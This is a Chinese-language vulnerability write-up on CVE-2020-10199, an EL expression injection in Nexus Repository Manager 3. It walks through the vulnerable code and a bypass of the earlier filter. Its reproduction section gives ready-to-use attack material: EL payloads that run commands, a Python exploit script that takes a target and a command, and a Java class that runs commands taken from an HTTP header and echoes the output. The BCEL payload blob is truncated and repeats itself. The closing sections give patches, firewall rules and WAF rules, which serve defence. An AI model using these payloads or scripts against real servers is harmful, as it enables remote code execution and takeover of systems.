一、漏洞简介

1.1 漏洞背景

2020年3月31日,Sonatype 官方发布了 CVE-2020-10199 安全公告。该漏洞由 GitHub Security Lab 的安全研究员 @pwntester 通过 CodeQL 静态分析发现。

漏洞本质是 EL(Expression Language)表达式注入,与之前的 CVE-2018-16621 漏洞相关。攻击者可以通过构造恶意 EL 表达式,在服务器端执行任意代码。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2020-10199
危害等级 HIGH / 8.8
漏洞类型 EL 表达式注入远程代码执行
披露时间 2020-04-01
影响组件 Nexus Repository Manager
属性 详情
CVE编号 CVE-2020-10199
危害等级 高危(High)
CVSS评分 8.8(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 EL 表达式注入 / 远程代码执行
利用条件 需要普通用户权限
影响组件 AbstractGroupRepositoriesApiResource 类

补充核验信息:公开时间:2020-04-01;NVD 评分:8.8(HIGH);CWE:CWE-917。

二、影响范围

2.1 受影响的版本

  • Nexus Repository Manager 3 3.0.0 至 3.21.1

完整受影响版本范围: - 3.0.0 - 3.21.1

2.2 不受影响的版本

  • Nexus Repository Manager 3 3.21.2 及以上版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 具有 Nexus 普通用户权限(无需管理员权限)
  2. 能够访问 Nexus REST API
  3. 目标版本在受影响范围内

三、漏洞详情与原理解析

3.1 漏洞触发机制

漏洞位于 org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource 抽象类中。当创建或更新 Group Repository 时,会调用 validateGroupMembers 方法验证成员仓库。

漏洞调用链:

AbstractGroupRepositoriesApiResource.createRepository()
    
validateGroupMembers()
    
constraintViolationFactory.createViolation()
    
buildConstraintViolationWithTemplate()   EL 表达式注入点

核心漏洞代码:

// AbstractGroupRepositoriesApiResource.java
private void validateGroupMembers(T request) {
    String groupFormat = request.getFormat();
    Set<ConstraintViolation<?>> violations = Sets.newHashSet();
    Collection<String> memberNames = request.getGroup().getMemberNames();

    for (String repositoryName : memberNames) {
        Repository repository = repositoryManager.get(repositoryName);
        if (nonNull(repository)) {
            String memberFormat = repository.getFormat().getValue();
            if (!memberFormat.equals(groupFormat)) {
                // repositoryName 用户可控,进入 EL 表达式
                violations.add(constraintViolationFactory.createViolation("memberNames",
                    "Member repository format does not match group repository format: " + repositoryName));
            }
        } else {
            // repositoryName 用户可控,进入 EL 表达式
            violations.add(constraintViolationFactory.createViolation("memberNames",
                "Member repository does not exist: " + repositoryName));
        }
    }
    maybePropagate(violations, log);
}

ConstraintViolationFactory 实现:

public ConstraintViolation createViolation(String property, String message) {
    return buildConstraintViolationWithTemplate(message)
        .addPropertyNode(property)
        .addConstraintViolation();
}

buildConstraintViolationWithTemplate 方法会解析消息模板中的 EL 表达式,导致注入。

CVE-2018-16621 的修复绕过:

之前的修复方案:

public String stripJavaEl(final String value) {
    if (value != null) {
        return value.replaceAll("\\$+\\{", "{");  // 过滤 ${...}
    }
    return null;
}

绕过方法:

由于正则表达式 \\$+\\{ 只匹配 $ 后面紧跟 { 的情况,攻击者可以在 ${ 之间插入其他字符:

// 以下 payload 可以绕过过滤:
"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('id')}"
"$\n{''.getClass()}"
"$+{''.getClass()}"

3.2 源码层面的根因分析(结合源码与补丁对比)

EL 表达式执行原理:

Hibernate Validator 在处理约束违规消息时,使用 ElTermResolver 解析 EL 表达式:

// ElTermResolver.java (Hibernate Validator)
public Object resolve(TermResolverContext context, String expression) {
    ELResolver resolver = this.elResolver;

    // 创建 EL 上下文
    ELContext elContext = new ELContext() {
        // ...
    };

    // 解析并执行表达式
    ValueExpression valueExpression =
        expressionFactory.createValueExpression(elContext, expression, Object.class);

    return valueExpression.getValue(elContext);
}

EL 表达式能力:

// 标准 EL 表达式语法
${''.getClass()}                          // 获取 String 类
${''.getClass().forName('java.lang.Runtime')}  // 加载 Runtime 类
${''.getClass().forName('java.lang.Runtime').getMethods()[6]}  // 获取 exec 方法
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null, 'id')}  // 执行命令

具体实现类:

// GolangGroupRepositoriesApiResource.java
@Named
@Singleton
public class GolangGroupRepositoriesApiResource
    extends AbstractGroupRepositoriesApiResource<GoGroupRepositoryApiRequest> {

    @POST
    @RequiresAuthentication  // 只需要认证,不需要特殊权限
    @Validate
    public Response createRepository(final GoGroupRepositoryApiRequest request) {
        validateGroupMembers(request);  // 调用漏洞方法
        return super.createRepository(request);
    }

    @PUT
    @Path("/{repositoryName}")
    @RequiresAuthentication
    @Validate
    public Response updateRepository(
        final GoGroupRepositoryApiRequest request,
        @PathParam("repositoryName") final String repositoryName) {
        validateGroupMembers(request);  // 调用漏洞方法
        return super.updateRepository(request, repositoryName);
    }
}

四、漏洞复现(可选)

4.1 环境搭建

Docker 环境搭建:

# 拉取受影响版本
docker pull sonatype/nexus3:3.21.1

# 启动容器
docker run -d -p 8081:8081 --name nexus-cve-2020-10199 sonatype/nexus3:3.21.1

# 等待启动完成
docker logs -f nexus-cve-2020-10199

# 获取初始密码(3.x版本)
docker exec nexus-cve-2020-10199 cat /nexus-data/admin.password

或使用 vulhub:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/nexus/CVE-2020-10199
docker-compose up -d

创建测试用户:

  1. 登录管理界面(admin/admin123)
  2. 创建普通用户 test/test123
  3. 给用户分配 nx-component 权限

4.2 PoC 演示与测试过程

不回显 PoC(创建文件):

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: target:8081
Content-Type: application/json
Authorization: Basic dGVzdDp0ZXN0MTIz

{
    "name": "test-group",
    "online": true,
    "storage": {
        "blobStoreName": "default",
        "strictContentTypeValidation": true
    },
    "group": {
        "memberNames": [
            "$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}"
        ]
    }
}

回显 PoC(获取命令执行结果):

利用 BCEL ClassLoader 动态加载恶意类实现回显:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: target:8081
Content-Type: application/json
Authorization: Basic dGVzdDp0ZXN0MTIz
MagicZero: id

{
    "name": "test-group",
    "online": true,
    "storage": {
        "blobStoreName": "default",
        "strictContentTypeValidation": true
    },
    "group": {
        "memberNames": [
            "${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cb$N$C$Q$5b$w$G$e$81$88$d5V$d3$b0$86$c3$81$d1K$c2$c6$81$f4$86$da$db$3c$H$c1$d0V$db$f1$9c$M$ad$d4$d8$40$db$8b$dd$c4$8a$fd$ec$80$de$f4$86$da$db$3c$H$c1$d0V$db$f1$9c$M$ad$d4$d8$40$db$8b$dd$c4$8a$fd$ec$80$de$f4$86$da$db$3c$H$c1$d0V$db$f1$9c$M$ad$d4$d8$40$db$8b$dd$c4$8a$fd$ec$80$de$...').newInstance()}"
        ]
    }
}

Python 自动化 PoC:

#!/usr/bin/env python3
# CVE-2020-10199 PoC
import requests
import base64
import sys

def exploit(target, username, password, command):
    url = f"http://{target}/service/rest/beta/repositories/go/group"

    # EL 表达式 payload
    el_payload = f"$\\\\A{{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('{command}')}}"

    payload = {
        "name": "test-group-poc",
        "online": True,
        "storage": {
            "blobStoreName": "default",
            "strictContentTypeValidation": True
        },
        "group": {
            "memberNames": [el_payload]
        }
    }

    headers = {"Content-Type": "application/json"}
    auth = (username, password)

    try:
        response = requests.post(url, json=payload, headers=headers, auth=auth, timeout=10)
        print(f"[*] Response status: {response.status_code}")
        print(f"[*] Response body: {response.text}")

        if "Member repository does not exist" in response.text:
            print("[+] EL expression executed successfully!")
            return True
        else:
            print("[-] Exploitation failed")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target:port> <username> <password> <command>")
        print(f"Example: {sys.argv[0]} 192.168.1.100:8081 test test123 'id'")
        sys.exit(1)

    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

回显利用 Java 代码:

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class EchoPayload {
    public static String generateBCEL(String classFile) throws Exception {
        byte[] bytes = Files.readAllBytes(Paths.get(classFile));
        return Utility.encode(bytes, true);
    }

    public static void main(String[] args) throws Exception {
        // 生成 BCEL 字节码
        String bcel = generateBCEL("EchoClass.class");
        System.out.println("$$BCEL$$$l$8b$I$A$A$A$A$A$A$..." + bcel);
    }
}

回显类实现:

import java.io.*;
import javax.servlet.http.*;

public class EchoClass {
    static {
        try {
            // 获取当前线程的 ThreadLocalMap
            Thread thread = Thread.currentThread();
            java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
            threadLocals.setAccessible(true);
            Object threadLocalMap = threadLocals.get(thread);

            Class<?> threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
            java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
            tableField.setAccessible(true);
            Object[] entries = (Object[]) tableField.get(threadLocalMap);

            Class<?> entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
            java.lang.reflect.Field valueField = entryClass.getDeclaredField("value");
            valueField.setAccessible(true);

            for (Object entry : entries) {
                if (entry != null) {
                    Object value = valueField.get(entry);
                    if (value != null && value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) {
                        // 获取 HttpChannel
                        Object httpChannel = value.getClass().getMethod("getHttpChannel").invoke(value);
                        // 获取 Request
                        Object request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel);
                        // 获取自定义 header 中的命令
                        String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Cmd");

                        // 执行命令
                        Process process = Runtime.getRuntime().exec(cmd);
                        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                        StringBuilder output = new StringBuilder();
                        String line;
                        while ((line = reader.readLine()) != null) {
                            output.append(line).append("\n");
                        }

                        // 获取 Response 并写入结果
                        Object response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel);
                        PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
                        writer.write(output.toString());
                        writer.close();
                        break;
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

五、修复建议与缓解措施

5.1 官方版本升级建议

升级至以下安全版本:

  • Nexus Repository Manager 3.21.2 或更高版本

官方修复方案:

// 改进的 EL 过滤
public String stripJavaEl(final String value) {
    if (value != null) {
        // 更严格的正则,过滤所有可能的 EL 表达式开头
        return value.replaceAll("\\$[+\\\\]*\\{", "{");
    }
    return null;
}

// 或者完全禁止用户输入进入消息模板
public ConstraintViolation createViolation(String property, String messageKey, Object... args) {
    String message = messageSource.getMessage(messageKey, args, Locale.getDefault());
    return buildConstraintViolationWithTemplate(message)  // 使用安全的消息
        .addPropertyNode(property)
        .addConstraintViolation();
}

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 禁用 Go Group Repository API:
<!-- nexus-default.properties -->
nexus.repository.go.group.enabled=false
  1. 网络层限制:
# 限制普通用户对 REST API 的访问
iptables -A INPUT -p tcp --dport 8081 -m string \
    --string "/service/rest/beta/repositories/go/group" \
    --algo bm -j DROP
  1. WAF 规则:
# 检测 EL 表达式特征
SecRule REQUEST_BODY "@rx \\$[+\\\\]*\\{" \
    "id:1002,phase:2,deny,status:403,msg:'Possible EL Injection'"

六、参考信息 / 参考链接

6.1 官方安全通告

  • Sonatype 官方公告: https://support.sonatype.com/hc/en-us/articles/360044882533
  • NVD 漏洞详情: https://nvd.nist.gov/vuln/detail/CVE-2020-10199
  • GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype

6.2 其他技术参考资料

  • 漏洞分析文章: https://www.cnblogs.com/magic-zero/p/12641068.html
  • GitHub PoC: https://github.com/jas502n/CVE-2020-10199
  • threedr3am 学习项目: https://github.com/threedr3am/learnjavabug/tree/master/nexus